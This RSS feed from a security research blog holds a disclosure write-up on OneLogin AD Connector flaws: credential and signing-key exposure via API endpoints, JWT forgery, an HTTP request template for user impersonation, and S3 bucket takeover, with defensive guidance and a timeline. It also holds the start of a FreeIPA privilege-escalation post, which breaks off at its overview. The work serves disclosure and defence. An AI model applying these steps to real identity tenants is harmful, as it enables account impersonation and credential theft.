<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>n0pe-sled</title>
    <description>Security research, red team tradecraft, and notes from Julian Catrambone.</description>
    <link>https://blog.n0pe-sled.com/</link>
    <atom:link href="https://blog.n0pe-sled.com/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sat, 08 Aug 2026 23:52:12 +0000</pubDate>
    <lastBuildDate>Sat, 08 Aug 2026 23:52:12 +0000</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    
      <item>
        <title>OneLogin, Many Issues: How I Pivoted from a Trial Tenant to Compromising Customer Signing Keys</title>
        <description>&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;c267&quot;&gt;What is OneLogin?&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;c1a1&quot;&gt;OneLogin markets themselves as a “Market-Leading Identity and Access Management Solution”. Essentially, OneLogin is an identity solution that provides single sign-on (SSO), multi-factor authentication (MFA), and user-provisioning for cloud and on-premise applications. The product provides directory integrations with existing identity management systems like Active Directory, AWS Identity Center, Azure, GSuite, etc. For the purposes of this post, we will be looking at the Active Directory integration.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;a620&quot;&gt;Fortunately, as a security researcher, there are two factors at play that aid our research efforts:&lt;/p&gt;



&lt;ol class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;OneLogin has a great free trial program that gives potential customer&amp;#8217;s a tenant to review features and functionality of the product&lt;/li&gt;



&lt;li&gt;OneLogin Active Directory integration utilizes .NET binaries when integrating an on-premises Active Directory. This enables much faster disassembly and analysis with decompilation tools like&amp;nbsp;&lt;a href=&quot;https://www.jetbrains.com/decompiler/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;dotPeek&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;d74a&quot;&gt;Other Research&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d94c&quot;&gt;Before we get any further, I wanted to highlight Adam Chester’s (@xpn) public research on Identity Providers (IdPs), including OneLogin. You can find his amazing blog post here:&lt;a href=&quot;https://blog.xpnsec.com/identity-providers-redteamers/&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;https://blog.xpnsec.com/identity-providers-redteamers/&lt;/a&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d9b0&quot;&gt;A lot of the research done in this blog post builds on his excellent research. so if you haven’t read his post yet I would encourage you to check it out before continuing.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;8702&quot;&gt;Lab Setup&lt;/h2&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;303&quot; src=&quot;/assets/specterops/2025/06/image.png&quot; alt=&quot;&quot; class=&quot;wp-image-16330&quot; srcset=&quot;/assets/specterops/2025/06/image.png 720w, /assets/specterops/2025/06/image.png?resize=300,126 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1fef&quot;&gt;The diagram above details the lab that I configured for this research. I was able to request a OneLogin trial tenant for a domain I control (i.e., inspired-sec.us) directly from OneLogin:&lt;a href=&quot;https://www.onelogin.com/free-trial&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;https://www.onelogin.com/free-trial&lt;/a&gt;. Once I created a trial tenant, I deployed a small domain with one user and two hosts inside my Ludus lab. This small domain included one domain controller (DC) running the OneLogin AD Connect service,&amp;nbsp;&lt;em&gt;ConnectorService.exe&lt;/em&gt;, and a single Windows 11 workstation.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0b2b&quot;&gt;Setting up the AD Connector for OneLogin is relatively simple; I just followed the instructions posted here:&lt;a href=&quot;https://onelogin.service-now.com/support?id=kb_article&amp;amp;sys_id=d02f849d971e1650c90c3b0e6253af88&amp;amp;kb_category=ff57e170db185340d5505eea4b961929&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;https://onelogin.service-now.com/support?id=kb_article&amp;amp;sys_id=d02f849d971e1650c90c3b0e6253af88&amp;amp;kb_category=ff57e170db185340d5505eea4b961929&lt;/a&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;629&quot; src=&quot;/assets/specterops/2025/06/image_fdf1d9.png&quot; alt=&quot;&quot; class=&quot;wp-image-16331&quot; srcset=&quot;/assets/specterops/2025/06/image_fdf1d9.png 720w, /assets/specterops/2025/06/image_fdf1d9.png?resize=300,262 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Essentially, you download the AD Connector installer and install it with the provided token. After installation completes, AD Connector will default to syncing all users in the current domain. From this point, I decided to add an application that federates authentication to an AWS account, but that isn’t necessary.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;5be5&quot;&gt;Local Analysis of the OneLogin AD Connector&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;eea6&quot;&gt;Installation makes a few changes on the host that we can capture with the Sysinternals tool&amp;nbsp;&lt;em&gt;Procmon.exe&lt;/em&gt;. Of these changes, I found the following worth investigating:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Application files are written to &lt;code&gt;C:\\Program Files (x86)\\OneLogin, Inc\\OneLogin Active Directory Connector\\&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Logs are written to&lt;code&gt; C:\\ProgramData\\OneLogin, Inc\\logs\\&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;A service named OneLogin Active Directory Connector is created that executes &lt;code&gt;ConnectorService.exe&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Registry keys are written to &lt;code&gt;HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\OneLogin, Inc.\\Active Directory Connector&lt;/code&gt; &lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;f1d8&quot;&gt;Based on&lt;a href=&quot;https://blog.xpnsec.com/identity-providers-redteamers/&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;Adam’s previous research&lt;/a&gt;, you can use that directory token to obtain more credentials from OneLogins API endpoints. OneLogin exposes a configuration endpoint (i.e.,&lt;a href=&quot;https://api.onelogin.com/api/adc/v4/configuration&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;https://api.onelogin.com/api/adc/v4/configuration&lt;/a&gt;) that returns the configuration of a given directory. Adam Chester’s (@xpn) public research shows us how to interact with this endpoint. A HTTP GET api call is made to the configuration endpoint with the following URL parameters:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;version — Set to the agent version&lt;/li&gt;



&lt;li&gt;token — Set to Directory Token taken from registry&lt;/li&gt;



&lt;li&gt;mux — Set to 1&lt;/li&gt;



&lt;li&gt;directory_token — Directory Token taken from registry&lt;/li&gt;



&lt;li&gt;directory_id — Directory ID of the OneLogin tenant&lt;/li&gt;



&lt;li&gt;adcVersion — Also set to the agent version&lt;/li&gt;
&lt;/ul&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;328&quot; src=&quot;/assets/specterops/2025/06/image_842161.png&quot; alt=&quot;&quot; class=&quot;wp-image-16332&quot; srcset=&quot;/assets/specterops/2025/06/image_842161.png 720w, /assets/specterops/2025/06/image_842161.png?resize=300,137 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;I was able to pull the following information from my trial tenant:&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;657&quot; height=&quot;891&quot; src=&quot;/assets/specterops/2025/06/image_5cdfbd.png&quot; alt=&quot;&quot; class=&quot;wp-image-16333&quot; srcset=&quot;/assets/specterops/2025/06/image_5cdfbd.png 657w, /assets/specterops/2025/06/image_5cdfbd.png?resize=221,300 221w&quot; sizes=&quot;auto, (max-width: 657px) 100vw, 657px&quot; /&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; height=&quot;1024&quot; width=&quot;757&quot; src=&quot;/assets/specterops/2025/06/image_95639f.png?w=757&quot; alt=&quot;&quot; class=&quot;wp-image-16334&quot; srcset=&quot;/assets/specterops/2025/06/image_95639f.png 783w, /assets/specterops/2025/06/image_95639f.png?resize=222,300 222w, /assets/specterops/2025/06/image_95639f.png?resize=768,1039 768w, /assets/specterops/2025/06/image_95639f.png?resize=757,1024 757w&quot; sizes=&quot;auto, (max-width: 757px) 100vw, 757px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;abfa&quot;&gt;Reviewing this response, there are a number of things that stand out:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Another API key is exposed under &amp;lt;api_key&amp;gt;&lt;/li&gt;



&lt;li&gt;AWS AKIA User credentials are returned in cleartext&lt;/li&gt;



&lt;li&gt;The SSO_IDP configuration is returned with a base64 &amp;lt;signing_key&amp;gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;7e10&quot;&gt;Wait… are those real credentials?&lt;/h2&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;480&quot; height=&quot;342&quot; src=&quot;/assets/specterops/2025/06/S8PgGLIp9gHjuE1qcm.gif&quot; alt=&quot;&quot; class=&quot;wp-image-16337&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;It looks like there are &lt;strong&gt;&lt;em&gt;three&lt;/em&gt;&lt;/strong&gt; different credentials in that API response, so let’s go through them one by one.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;API Key&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The API key exposed in this API call is separate from the directory token and can be used to obtain more information about the OneLogin directory that you may find useful in the future. For our purposes, we will use another endpoint Adam documented in&lt;a href=&quot;https://blog.xpnsec.com/identity-providers-redteamers/&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt; his research&lt;/a&gt;:&lt;a href=&quot;https://api.onelogin.com/api/adc/v4/users?api_key=6d63a2819b5e19438fdcd2a5d3d1b43850337cc1&amp;amp;directory_id=91604&amp;amp;directory_token=3730e1038695ea5abe05849b111d60a9190f2afb&amp;amp;adc_version=5.1.8&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt; https://api.onelogin.com/api/adc/v4/users&lt;/a&gt;&amp;nbsp;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;A HTTP GET api call is made to the users endpoint with the following URL parameters:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;api_key — API key returned from the configuration endpoint mentioned above&lt;/li&gt;



&lt;li&gt;directory_id — Set to Directory Token taken from registry&lt;/li&gt;



&lt;li&gt;directory_token — Directory Token taken from registry&lt;/li&gt;



&lt;li&gt;adc_version — Also set to the agent version&lt;/li&gt;
&lt;/ul&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*m_Zvl8HjD9upm-SB&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;It should return a list of users in the directory.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*2pXnVo-58OuiTfmZ&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In my test tenant, there is only one synced user (i.e., onelogin); however in most environments, this would contain all registered users synced to the OneLogin directory.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Signing Key&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Reviewing the response from the configuration endpoint, it seems to be returning the SSO IdP configuration for the directory integration:&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*r66x1DqqqyNgc0kU&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This configuration includes a base64 value labeled signing_key. If we can reverse engineer the &lt;em&gt;ConnectorService.exe&lt;/em&gt; application to identify how it crafts JWT tokens, we can potentially craft our own matching JWT tokens. Good thing &lt;em&gt;ConnectorService.exe &lt;/em&gt;is a&amp;nbsp;.NET binary. We can disassemble it to code and identify exactly how it is crafting JWT tokens.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*0rnE3Qt4y8KbA96q&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Based on the disassembled code, it was easy to identify that the fields the JWT token requires are as follows:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;exp: &lt;/strong&gt;(Token Expiration)&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;iss&lt;/strong&gt;: (Token Issuer) In this case, the directory the token was crafted for&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;aud&lt;/strong&gt;: (Audience) the audience for this token is the OneLogin account number&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;sub&lt;/strong&gt;: (Subject) this is a custom identifier for each user synced with OneLogin&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The OneLogin account id and the directory id are both returned by the previous API call to the /configuration endpoint. The subject value is returned by the /users endpoint as the external id. I built a short python script to compile valid JWT tokens. This script can be found on github here: &lt;a href=&quot;https://github.com/n0pe-sled/OneLogin-JWTGen&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;https://github.com/n0pe-sled/OneLogin-JWTGen&lt;/a&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*0mnCisAtwVhTtMzO&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With a valid JWT, all that is left is to authenticate to the SSO consumer URL exposed in the SSO IdP configuration. Copy the encoded JWT into the following request and then follow all the redirections until you are authenticated to the SSO portal as the impersonated user.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;POST /trust/onelogin-sso/jwt?account_id=&amp;lt;target account id&amp;gt; HTTP/2&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Host: &amp;lt;Onelogin Tenant Url&amp;gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;User-Agent: ADC 5.1.8&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Content-Type: application/x-www-from-urlencoded&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;token=&amp;lt;Encoded Token&amp;gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;AWS Access&amp;nbsp;Key&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;When I see AWS AKIA credentials, I can confirm they are valid with: aws sts get-caller-identity&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*yAM1n_mROnWVgQYf&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Okay, so those credentials are valid. The next reasonable thing to check is if we can read the logs in S3:\\onelogin-adc-logs-production. Trying to list this bucket fails and the error in the response says the bucket doesn’t exist:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;An error occurred (NoSuchBucket) when calling the ListObjects operation: The specified bucket does not exist&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After realizing that S3 bucket was available, I quickly claimed it on a personal AWS account. I then opened the bucket permissions to allow the adc-logs-put-production user write access.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://cdn-images-1.medium.com/max/800/0*xhBL3tLx6ugIV3xO&quot; alt=&quot;&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Compromising another OneLogin&amp;nbsp;Customer&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In mid-February, I began receiving log files from another customer’s production OneLogin tenant in the S3:\\onelogin-adc-logs-production S3 bucket. These adc.log files contained detailed information about the customer’s environment, including LDAP properties for all users synced with OneLogin and a valid directory token.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;OneLogin has not communicated why these logs were being sent to my bucket or how widespread this issue was. However, using the directory token and information from the adc.log files, I was able to:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Obtain a list of currently enrolled users in the customer&amp;#8217;s tenant&lt;/li&gt;



&lt;li&gt;Retrieve the valid signing key for the customer&amp;#8217;s OneLogin Tenant&lt;/li&gt;



&lt;li&gt;Craft valid JWT tokens for the customer&amp;#8217;s OneLogin Tenant for any of the previously identified users&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;At this point, I had the ability to impersonate arbitrary users for the customer’s OneLogin tenant and access any applications assigned to the respective user. At this point, I escalated my vulnerability disclosure to OneLogin.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This customer has been informed and I have been working with OneLogin to disclose the vulnerabilities discussed in this post.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Defensive Guidance&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Identity federation platforms like OneLogin should be classified and protected as Tier 0 assets within your environment. These systems are high-value targets; if compromised, they can provide attackers with broad and potentially unrestricted access across your organization.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;To reduce risk exposure, implement strict network segmentation and access controls. Only explicitly authorized hosts should be permitted to communicate with OneLogin API endpoints or any systems running the AD Connect service for directory synchronization.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As of the time of this writing, OneLogin has stated that it has addressed previously disclosed vulnerabilities by introducing encryption mechanisms that affect API interactions. However, these mitigations have not yet been independently validated.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Disclosure Summary and&amp;nbsp;Timeline&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;December 9, 2024 — Disclosure submitted through &lt;a href=&quot;https://support.quest.com/contact-us/report-security-vulnerability&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;https://support.quest.com/contact-us/report-security-vulnerability&lt;/a&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;December 10, 2024 — Initial disclosure acknowledged&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;December 11, 2024 — Asked for access to ticketing platform to track ticket status&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;December 11, 2024 — Support instructed me to follow the ticket’s status through my OneLogin account manager&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;December 11, 2024 — Reiterated that I am not a customer nor do I have an account manager&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;January 8, 2025 — I requested a status update&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;January 13, 2025 — OneLogin informed me that they closed the ticket and created a Jira ticket with a potential fix that I could track through an account manager&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;January 27, 2025 — I identified a OneLogin customer support phone line and attempted to obtain information about the security report, including progress toward implementing a fix. I also reopened the ticket and OneLogin informed me that I would receive an update via email&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;January 29, 2025 — Having not received an update, I asked again via email and reiterated that I am not a customer and do not have access to an account manager&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;January 29, 2025 — OneLogin replied, stating that all fixed tickets are noted in release notes of each new release, and advised me to monitor new releases for my ticket number to confirm if it has been fixed&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 7, 2025 — The case closed again without additional updates&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 13, 2025 — OneLogin customer data was uploaded to S3:\\onelogin-adc-logs-production [issue occurred independently]&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 25, 2025 — After previous channels proved ineffective, I contacted a OneLogin employee directly through LinkedIn requesting escalation of my report to the security team. Report resubmitted&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 25, 2025 — The OneLogin security team acknowledged my report&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 26, 2025 — Secure file share established to transfer log files and tools used to generate JWT tokens&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 27, 2025 — Received direct phone call from security team regarding the scope of leaked customer data and to arrange transfer of S3 bucket ownership&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;February 28, 2025 — Video call with security team demonstrating vulnerability and transferring ownership of the S3 bucket to OneLogin&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;March 17, 2025 — Followed up with OneLogin about the vulnerability and AWS keys that had not been rotated. Security team confirmed they were working on a permanent fix to remove vulnerable functionality entirely rather than just rotating the AWS keys&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;April 17, 2025 — Followed up with OneLogin requesting current status of the fix&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;April 28, 2025 — OneLogin responded stating they missed my previous inquiry and committed to providing information shortly&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;May 14, 2025 — Followed up with OneLogin after receiving no response to previous update request. OneLogin responded stating they would release a fix that week&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;May 19, 2025 — Followed up with OneLogin requesting trial tenant reactivation to verify the new release resolved the issue&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;May 21, 2025 — OneLogin responded stating they would investigate and follow up&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;June 2, 2025 — After no further response from OneLogin, I informed them of my intent to publish this blog post. Reiterated willingness to perform validation testing and requested additional details about the deployed fix&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;June 9, 2025 — OneLogin provided an update stating the vulnerability has been remediated. OneLogin confirmed they addressed the cloud information issues within the vulnerable API and implemented encryption components that affect API access&lt;/p&gt;
</description>
        <pubDate>Tue, 10 Jun 2025 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2025/06/10/onelogin-many-issues-how-i-pivoted-from-a-trial-tenant-to-compromising-customer-signing-keys/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2025/06/10/onelogin-many-issues-how-i-pivoted-from-a-trial-tenant-to-compromising-customer-signing-keys/</guid>
        
        <category>OneLogin</category>
        
        <category>Identity</category>
        
        <category>SAML</category>
        
        <category>AWS</category>
        
        <category>Vulnerability-Research</category>
        
        
      </item>
    
      <item>
        <title>Attacking FreeIPA — Part IV: CVE-2020–10747</title>
        <description>&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;47c1&quot;&gt;I was informed on Wednesday June 17th 2020 that CVE 2020–10747 was revoked after it had been initially issued on June 15th 2020. Red Hat&amp;nbsp;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=1810160&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;issued this statement&lt;/a&gt;&amp;nbsp;regarding the security boundary for FreeIPA and as justification for the revocation.&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e054&quot;&gt;Roles are used to classify permitted actions but are not used as a tool to implement privilege separation or to protect from privilege escalation. As a result, using privileges to gain additional privileges is not something considered unexpected. This bug has been rejected as a security flaw. Users with privileges should be reserved to trusted persons.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1fe6&quot;&gt;MITRE&amp;nbsp;&lt;a href=&quot;https://attack.mitre.org/tactics/TA0004/&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;defines privilege escalation&lt;/a&gt;&amp;nbsp;as follows:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;6d9d&quot;&gt;The adversary is trying to gain higher-level permissions.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;7303&quot;&gt;Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;a902&quot;&gt;Utilizing one permission to obtain another higher-level permission or privilege, is ultimately an example of privilege escalation.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;59da&quot;&gt;RedHat has retained the fixed pull request despite the CVE being revoked and the vulnerability being reclassified as “CLOSED NOTABUG” on&amp;nbsp;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=1810160&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=1810160&lt;/a&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b227&quot;&gt;This post is the final part in a series about my experiences attacking FreeIPA. In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. In Part II of this series we discussed the various different types of objects inside of a FreeIPA environment, and a little bit about their significance, as well as how these objects can be enumerated to obtain situational awareness. In Part III of this series we conducted lateral movement inside of a FreeIPA environment to accomplish two red team objectives.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8c46&quot;&gt;If you haven’t read the first three parts of the series you can find them here:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Part 1: Authentication in FreeIPA&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Part 2: Enumeration in FreeIPA&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Part 3: Finding a Path&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;abc8&quot;&gt;Introduction&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;16db&quot;&gt;During an assessment of a cloud environment managed through FreeIPA our team was able to uncover a vulnerability in how FreeIPA integrates with existing technologies. This vulnerability allowed for our team to escalate to the&amp;nbsp;&lt;em&gt;“root”&lt;/em&gt;&amp;nbsp;account and obtain&amp;nbsp;&lt;em&gt;UID 0.&lt;/em&gt;&amp;nbsp;It also allowed us to bypass all existing HBAC rulesets and conduct lateral movement throughout the environment. This vulnerability was reported to RedHat through their&amp;nbsp;&lt;a href=&quot;https://access.redhat.com/security/team/contact&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;vulnerability disclosure program&lt;/a&gt;&amp;nbsp;and CVE 2020–10747 was assigned.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;9433&quot;&gt;Vulnerability Overview&lt;/h2&gt;



